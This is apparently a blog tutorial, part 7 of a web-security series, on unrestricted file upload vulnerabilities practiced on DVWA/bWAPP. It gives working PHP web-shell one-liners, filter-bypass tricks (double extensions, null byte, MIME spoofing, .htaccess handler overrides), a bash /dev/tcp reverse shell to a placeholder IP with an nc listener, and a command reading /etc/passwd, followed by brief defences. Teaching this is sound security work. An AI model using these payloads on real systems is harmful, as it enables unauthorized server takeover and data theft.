File Upload Vulnerabilities & Web Shells

πŸ’‘ Introduction

File upload features are common in web apps β€” think profile pictures, documents, resumes.

But when poorly secured, these features let attackers upload:

  • Malware

  • PHP web shells

  • Reverse shell scripts

  • Persistent backdoors

In this part, you’ll learn how to:
βœ… Find insecure upload forms
βœ… Bypass file filters
βœ… Deploy and trigger a web shell

🧠 What Is an Unrestricted File Upload?

It’s when a web app allows users to:

  • Upload any file type

  • Rename extensions (e.g. .php instead of .jpg)

  • Execute scripts from the upload directory

This leads to Remote Code Execution (RCE) β€” attackers can fully control the server.

πŸ§ͺ Detecting a Vulnerable Upload

Red flags:

  • Accepts any file extension (.php, .exe, .sh)

  • Upload folder is public (/uploads/filename.php)

  • No MIME or content validation

  • Error messages during upload leaks info

βš™οΈ Practice with DVWA / bWAPP

1. Try uploading:

  • A .php file:

<?php echo shell_exec($_GET['cmd']); ?>

2. Visit:

http://localhost/dvwa/uploads/shell.php?cmd=whoami

You should see the command output β€” proof of RCE.

πŸ”₯ Upload Filter Bypass Techniques

πŸŒ€ Obfuscation:

  • Rename .php to .php.jpg

  • Use .ph%00p (null byte injection)

  • Upload .htaccess to enable script execution

πŸͺž MIME Type Spoofing:

  • Intercept request in Burp

  • Change Content-Type: image/jpeg for a .php file

🧩 Double Extension Trick:

shell.php;.jpg
shell.php%20

πŸͺ› Rename with HTAccess (Apache only)

  • Upload .htaccess with:

SetHandler application/x-httpd-php
AddType application/x-httpd-php .jpg

Now .jpg files are executed as PHP.

🐚 Deploying a Web Shell

Popular PHP shell scripts:

<?php system($_GET['cmd']); ?>

Or use:

<?php passthru($_REQUEST['cmd']); ?>

Access like:

/uploads/shell.php?cmd=ls
/uploads/shell.php?cmd=cat /etc/passwd

🎧 Reverse Shell (Advanced)

1. Setup listener:

nc -lvnp 4444

2. Upload and trigger shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR-IP/4444 0>&1'"); ?>

3. Trigger in browser:

/uploads/shell.php

Boom β€” your terminal lights up with a shell.

πŸ›‘οΈ How to Prevent File Upload Exploits

From the defender’s side:

  • ❌ Don’t allow .php, .exe, .sh, .js, etc.

  • βœ… Use strict whitelisting (.jpg, .png, .pdf)

  • βœ… Rename files on upload and store them outside web root

  • βœ… Verify MIME types and scan uploaded files

  • βœ… Never allow uploads to executable folders

πŸ“‹ Quick Checklist

VulnerabilityRisk
No extension filteringPHP upload & exec
No MIME type checkBypass via spoof
Public uploads folderEasy access to shell
.htaccess overrideExecute disguised scripts

πŸ”š Wrapping Up

File upload bugs are often missed β€” but a single upload can mean total system takeover.

You now know:

  • How to detect upload flaws

  • Bypass filters

  • Deploy web shells and reverse shells

  • How to defend your own upload systems

πŸ‘‰ Next up:
Part 8 – Broken Authentication & Session Hijacking

We’ll cover how attackers exploit weak login systems to hijack accounts and impersonate users.

1 thought on “File Upload Vulnerabilities & Web Shells”

Leave a comment

Index